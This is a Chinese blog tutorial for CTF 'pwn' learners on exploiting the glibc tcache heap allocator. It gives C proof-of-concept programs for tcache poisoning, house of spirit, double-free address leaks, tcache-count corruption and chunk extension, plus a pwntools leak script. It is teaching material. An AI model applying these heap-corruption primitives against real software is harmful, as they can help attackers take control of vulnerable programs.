CTF pwn题堆入门 — Tcache bin

  • Post author:
  • Post category:其他



CTF pwn题堆入门 – Fast bin



CTF pwn题堆入门 – Unsorted bin



CTF pwn题堆入门 – Large bin



序言

无奈于pwn题中与堆相关的东西实在是比较多,加上到了2021年的现在,ctf比赛中一来就是堆题,还都是新版本libc,对我这种新手中的新手实在不太友好,以此写下这个系列文章,记录自己学习堆漏洞利用过程中的点滴,同时也是个总结吧。结合自己做题的理解,将堆攻击常见的手段和方式按照一定的规律记录下来。

本文章系列将分成五大块,即tcache bin –> fast bin –> unsorted bin –> small bin –> large bin。



概述

tcache相对于其余四种bin,是出现的最晚的,在libc2-26中才加入,但现在的题目一般都基于更新版本的libc,tcache肯定是必不可少的一环,而且是最开始的那一环,所以这里先对tcache机制进行一个总结。

Tcache全名为Thread Local Caching,它为每个线程创建一个缓存,里面包含了一些小堆块。无须对arena上锁既可以使用,所以采用这种机制后分配算法有不错的性能提升。每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410,也就是说位于以上大小的chunk释放后都会先行存入到tcache bin中。对于每个tcache bin单链表,它和fast bin一样都是先进后出,而且prev_inuse标记位都不会被清除,所以tcache bin中的chunk不会被合并,即使和Top chunk相邻。

另外tcache机制出现后,每次产生堆都会先产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址(这些地址指向用户数据部分)以及每个bins中chunk数量。在这个0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache bin链的开头地址,也是从0x20开始到0x410结束。还有一点值得注意的是,tcache bin中的fd指针是指向malloc返回的地址,也就是用户数据部分,而不是像fast bin单链表那样fd指针指向chunk头。



攻击方式

这里先说一下何时会用到tcache,在有了tcache机制后,无论分配还是释放,操作64位下0x20和0x410大小的chunk,tcache都是首当其冲,直到达到其每种bin的上限7为止。还有一种情况就是fast bin或者small bin返回了一个堆块,且tcache对应大小的bin中未满的话,那么该fast bin或者samll bin链中的堆块会被加入到对应tcache bin中直至其上限。这里值得一提的是,在tcache机制出现后,由于tcache机制首当其冲,很多属于fastbin的安全检查机制都没有被应用,因此在tcache下实现和fastbin一样的攻击原理,相对而言还会更简单些。下面介绍和tcache机制相关的攻击方式,将会按照攻击目的进行分类。



绕过Tcache

如果你对tcache并不熟悉,或者这道题并不需要利用tcache机制才能实现攻击,那么我们只需要简单的绕过tcache机制就行了。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long *ptr[7];
    long long *a = malloc(0x80);
	// 申请7个,释放7个,填满tcache bin[0x90]
    for (int i=0; i<7; i++)
        ptr[i] = malloc(0x80);
    for (int i=0; i<7; i++)
        free(ptr[i]);
    // 这里再释放a,就会放入到unsorted bin中
    free(a);
    printf("libc addr is %llx\n", (long long)a[0]);

    return 0;
}

tcache bypass

如上图所示,展示了如何绕过tcache,使用unsorted bin的性质,打印存放于unsorted bin中的libc地址。tcache机制无非就是增加了一层缓存,如果我们还是想使用fast bin/unsorted bin等的性质,那么需要将对应的tcache bin填满,然后再执行相应的操作就可以了。这里需要注意的是,上面代码只是填满了[0x90]这一条tcache bin链表,如果想要自己申请释放的0x20大小的chunk进入到fast bin,那么同样需要先填满tcache bin[0x20]。



分配堆到目的地址

在堆漏洞利用中,我们很多时候需要将堆块分配到我们想要的地址上去,比如分配到保存堆指针的bss中,或者直接分配到栈空间实现程序流程控制,亦或者还是分配到堆中把堆块重新分割。在tcache中有以下攻击方式可以实现(不加说明则为64位机器,libc-2.26);



tcache poisoning

#include<stdio.h>
#include<stdlib.h>


int main()
{
    // 在fck处分配堆块
    long long fck;
    printf("fck addr is %p\n", &fck);

    long long * ptr = malloc(0x80);
    printf("malloc ptr addr is %p\n", ptr);
    free(ptr);
    // 只需修改fd指针,申请的大小和当前tcache bin大小相同即可
    ptr[0] = (long long)&fck;
    malloc(0x80);
    printf("the second malloc addr is %p\n", malloc(0x80));

    return 0;
}

tcache_poisoniong

上图展示了攻击结果,这里同样注意tcache bin中的fd指针指向堆用户数据部分,所以分配的地址和fck地址是一样的。如果是在fast bin中还需要修改fck的chunk_size,即令

fck[-1]=0x80

但在tcache中不需要。



tcache house of spirit

#include<stdio.h>
#include<stdlib.h>


int main()
{
    long long fck[4];
    malloc(1);  // 初始化堆环境
    
    // 伪造假堆块,试图释放后再次分配得到该地址的堆块
    printf("fck addr is %p\n", fck+2);
    fck[1] = 0x90;
    free(fck+2);
    printf("now malloc addr is %p\n", malloc(0x80));

    return 0;
}

house_of_spirit

上图展示了攻击结果,其实这里的攻击方式和fast bin的house of spirit并无差别。完成攻击需要两点,一是伪装好chunk_size,二是释放堆块对应的用户数据地址,之后就可以malloc出来,相对于fastbin的攻击少了很多限制。



泄露地址

在做堆题时,保护全开的情况是很常见的,特别是开启了随机化保护,或者题目本身没有明显可利用的打印函数,这时就需要采取一些机制来泄露出libc地址或者堆地址等。



泄露libc地址

泄露libc地址利用的是bin中双向链表的性质,比如:unsorted bin,当一个堆块加入到unsorted bin时,其fd和bk指针会指向libc中的地址。

其实在最开始

绕过tcache

中,我已经介绍了一种释放堆块到unsorted bin中的方法,就是先填满对应大小的tcache bin,此时再释放自然会进入到unsorted bin中。当然这里也有更直接的方法,只需要让分配和释放的chunk大于等于0x410字节即可。这里注意在释放堆块时要防止堆块和Top chunk合并了,而没有进入到unsorted bin中。具体操作见以下代码:

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long * ptr = malloc(0x410);
    malloc(0x1);  // 防止堆块合并
    free(ptr);
    printf("leak libc addr is %p\n", (long long)ptr[0]);

    return 0;
}

unsorted bin[0x410]



泄露heap地址

在做有tcache机制的堆题时,利用tcache的double free漏洞来泄露堆地址是比较常见的做法。其目的是在泄露出堆地址后,找好目的地址的偏移,然后将当前tcache bin的fd指针修改为目的地址,这样就能在下次的malloc中分配到我们想要的堆块。需要注意的是在libc-2.28中,增加了对tcache二次释放的检查,所以此种攻击方法在libc-2.28及其更高版本中失效。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long *ptr = malloc(0x80);
    free(ptr);
    free(ptr);  // double free
    printf("heap addr is %p\n", ptr[0]);

    return 0;
}

double_free

如上图所示,是gdb动态调试的结果,可以看到double free后chunk的fd指针指向了自己,再利用use after free等漏洞就能打印出堆的地址。进一步,利用double free我们可以通过下面的方式来填满对应的tcache bin链,再加上我们申请的chunk属于small bin,所以在tcache满后会被加入到unsorted bin中,此时我们也可以泄露出libc地址。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long *ptr = malloc(0x80);
    malloc(0x1);  // 防止unsorted bin合并

    for (int i=0; i<7; i++)
        free(ptr);  // tcache bin
    free(ptr);  // unsorted bin
    printf("leak libc addr is %p\n", ptr[0]);

    return 0;
}

leak_libc

如上图所示,经过7次释放后,我们用一个堆块就将对应的tcache bin链填满,然后再次释放对应堆块让其被加入到unsorted bin中,之后我们就能获取到libc地址了。

泄露堆块地址还有一种方法,我们利用malloc不会清除内存空间的特性以及printf格式化字符%s遇到字符”\x00″才会停止的特性去泄露heap base。如下代码所示,先malloc并释放两个内存块到tcache bin中,由于先进后出的特性,后释放chunk的fd中记录了前一个堆块的地址。然后我们再把这个chunk申请回来,一般题目的话此时会在该内存处写一些数据,并打印该写入内容,实际上由于写入的数据可控,因此可以泄露出地址。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    long long *p1 = malloc(0x20);
    long long *p2 = malloc(0x20);

    free(p1);
    free(p2);
    long long *p3 = malloc(0x20);
    read(0, p3, 0x20);
    printf("%s\n", p3);

    return 0;
}

上面的C语言代码可以假设为题目,下面的python代码为解题脚本,遇到类似的题目都可以用这种方式来泄露heap base。注意这里泄露出来的地址是堆初始化的起始地址,之所以可以这样计算出heap base,是因为heap初始化地址必须对齐内存页,所以末尾会有三个0。

from pwn import *

p = process("./leak_heap")
p.send("a")
info = p.recvuntil("\n", drop=True)
print(info)
info = u64(info.ljust(8, b"\x00"))
heap_base = info & 0xfffffffffffff000
print("heap base: ", hex(heap_base))

leak-heap_base

进一步,如果我们malloc的大小大于0x410,那么释放后fd和bk指针将会指向libc,因此我们也可以用类似的方法泄露出libc的地址,此处就不再赘述。



利用Tcache bin记录堆块泄露地址

这里我总结一下在做题过程中遇到的一个特殊情况,即题目限制了free的次数,无法多次释放填满tcache,然后将堆块放入到Unsorted bin中。面对这种情况,我们可以结合tcache bin的特性,在堆初始化时,有tcache机制的堆会生成一个0x250大小的堆块来记录属于tcache bin大小的堆块信息。因此我们可以通过一些手段修改其中记录的信息,让后面释放的堆块进入到Unsorted bin中。

如下面代码所示,我们通过利用double free让一个堆块自身构成循环,然后malloc 3次后就可以让tcache bin的记录变为-1,由于libc源代码是认定为无符号整型所以此时也就是一个非常大的数,自然也就认为该tcache bin是被填满了的。最后再free相同大小的堆块,就会被释放到相应的bin中。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long *ptr;

    ptr = malloc(0x80);
    malloc(0x1);

    // double free
    free(ptr);
    free(ptr);

    // malloc 3 ==> tcache bin count = -1
    malloc(0x80);
    malloc(0x80);
    ptr = malloc(0x80);
    free(ptr);

    return 0;
}

下面展示的是执行结果,可以看到三次malloc后tcache bin中count变成了-1,我们再free一次后,相应的堆块就进入了Unsorted bin中,此时我们可以泄露libc地址了。

gdb-res

这里再介绍第二种方式,既然我们知道了前面有0x250的堆块记录了tcache bin的信息,那么我们可以直接修改该记录信息即可。如下面代码所示,这里我是根据动态调试直接算出的偏移,然后用c代码作为示例,在实际题目中,我们一般先利用double free泄露出heap地址,计算偏移并求出记录该tcache bin的地址,然后利用tcache bin poison将堆块分配到这里进行修改。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    long long *ptr;

    ptr = malloc(0x80);
    malloc(0x1);
    ptr[-74] = 0x0700000000000000;
    free(ptr);

    return 0;
}

下面两张图是结果展示,首先我们将记录块成功修改为0x07,即代表该处的tcache bin链是满的,然后再free掉堆块,可以看到此时该堆块会被释放到Unsorted bin中。

gdb-rr

gdb-tcache



tcache extend

这里介绍下在tcache机制情况下的chunk extend,相比较于fastbin,tcache机制的加入使得漏洞利用更简单,因此实现chunk extend也更轻松,不用正确标记next chunk的size。如下代码和运行截图所示,只需要修改当前chunk的size,我们free再malloc后就可以获得对应大小的chunk,这里演示的情况是通过chunk extend覆盖了next chunk的头部。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    long long *p1 = malloc(0x80);
    long long *p2 = malloc(0x20);

    printf("addr is %p, size is %p\n", p1, p1[-1]);
    p1[-1] = 0xa1;
    free(p1);
    p1 = malloc(0x90);
    printf("addr is %p, size is %p\n", p1, p1[-1]);

    return 0;
}

tcache_extend

正如前面所说,属于tcache bin的chunk在extend的时候都不需要正确匹配next chunk的size,但当扩展后chunk size大于0x410时,此时实现extend需要正确设置next chunk的size。

#include <stdio.h>
#include <stdlib.h>

int main()
{
    long long *p1 = malloc(0x400);
    long long *p2 = malloc(0x20);

    printf("addr is %p, size is %p\n", p1, p1[-1]);
    p1[-1] = 0x421;
    p2[1] = 0x21;  // 需要正确的设置
    free(p1);
    p1 = malloc(0x410);
    printf("addr is %p, size is %p\n", p1, p1[-1]);

    return 0;
}

big-chunk_extend



其它

这里记录一下其它和tcache相关的性质。



calloc

calloc函数,其原型和用法介绍如下:

  • 原型:void* calloc(unsigned int num,unsigned int size);
  • 功能:在内存的动态存储区中分配num个长度为size的连续空间;
  • 注意:num:对象个数,size:对象占据的内存字节数,相较于malloc函数,calloc函数会自动将内存初始化为0;

在堆利用中,calloc函数不会分配tcache bin中的堆块,因此如果题目中出现了calloc函数,我们可以想到利用该函数直接绕过tcache,从而获得其它bin上的chunk。示例代码如下,先申请并释放了8个chunk,使得最后一个chunk留在fast bin上,此时再调用calloc就会直接获取fast bin上的chunk块。

#include <stdio.h>
#include <stdlib.h>


int main()
{
    void * ptr[8];

    for (int i=0; i<8; i++)
        ptr[i] = malloc(0x10);
    for (int i=0; i<8; i++)
        free(ptr[i]);
    calloc(1, 0x10);

    return 0;
}

下面时gdb调试的结果,首先是分配8个chunk再释放8个chunk的结果。

chunk

然后是调用calloc后的结果。

calloc



realloc

realloc也是堆分配函数系列中的一员,它是在传入地址上重新分配堆块的函数,先将其用法总结如下:

  • 函数原型:extern void *realloc(void *mem_address, unsigned int newsize);
  • mew_address 不变,newsize == 0,相当于释放原来的堆块;
  • mem_address == 0 && newsize > 0,相当于malloc;
  • mew_address 不变,newsize > originsize,先释放原堆块,然后再malloc一个更大的堆块,原堆块内容会被拷贝过去;
  • mew_address 不变,newsize <= originsize,如果切割后剩下的堆块大于

    2 * chunk_min_size

    则切割,剩下堆块被free,否则直接返回原堆块。

下面是一个简单的示例,读者将会看到直接free和使用realloc进行free的区别。首先展示的是使用realloc进行free的情况,如下代码所示:

#include <stdio.h>
#include <stdlib.h>


int main()
{
    void *ptr;

    ptr = realloc(ptr, 0x10);  // malloc
    ptr = realloc(ptr, 0);     // free --> ptr == NULL
    ptr = realloc(ptr, 0x20);  // malloc

    return 0;
}

下图是gdb调试的结果,首先是ptr为空的时候,realloc和malloc一样从Top chunk中取下0x10的内存大小,然后利用realloc进行free,即将newsize设置为0,此时realloc会返回NULL将ptr指针设为空。最后我们再次realloc内存时,最初释放的0x10大小的tcache bin还会被保留,重新从Top chunk上切下0x20大小的内存块。

realloc1

下面展示的是直接使用free的情况,代码如下所示,free后并没有将ptr置为空:

include <stdio.h>
#include <stdlib.h>


int main()
{
    void *ptr;

    ptr = realloc(ptr, 0x10);  // malloc
    // ptr = realloc(ptr, 0);   
    free(ptr);                 // ptr != NULL
    ptr = realloc(ptr, 0x20);  // malloc

    return 0;
}

下图展示的是gdb调试的结果,我们可以看到最后内存块中只有0x30,并且存储有上面内存释放后的数据,这是因为newsize大于原来的size时,会将数据拷贝置新内存,释放掉原来的内存块。这里tcache bin中的指针是free操作留下的,而realloc的释放操作直接会将原来的chunk和Top chunk合并(

这表明在扩展时如果原堆块和Top chunk紧邻,堆块是会先被合并到Top chunk

)。因为新chunk数据中还包含了原来Top chunk的大小,所以可以认为realloc释放操作不会对原内存做任何修改,然后再直接从Top chunk上划分一块。所以这里才是我们看到的,即tcache bin中仍然有指向0x20的chunk,但是内存块却已经没有了。

realloc2



总结

不忘初心,砥砺前行!



版权声明:本文为A951860555原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。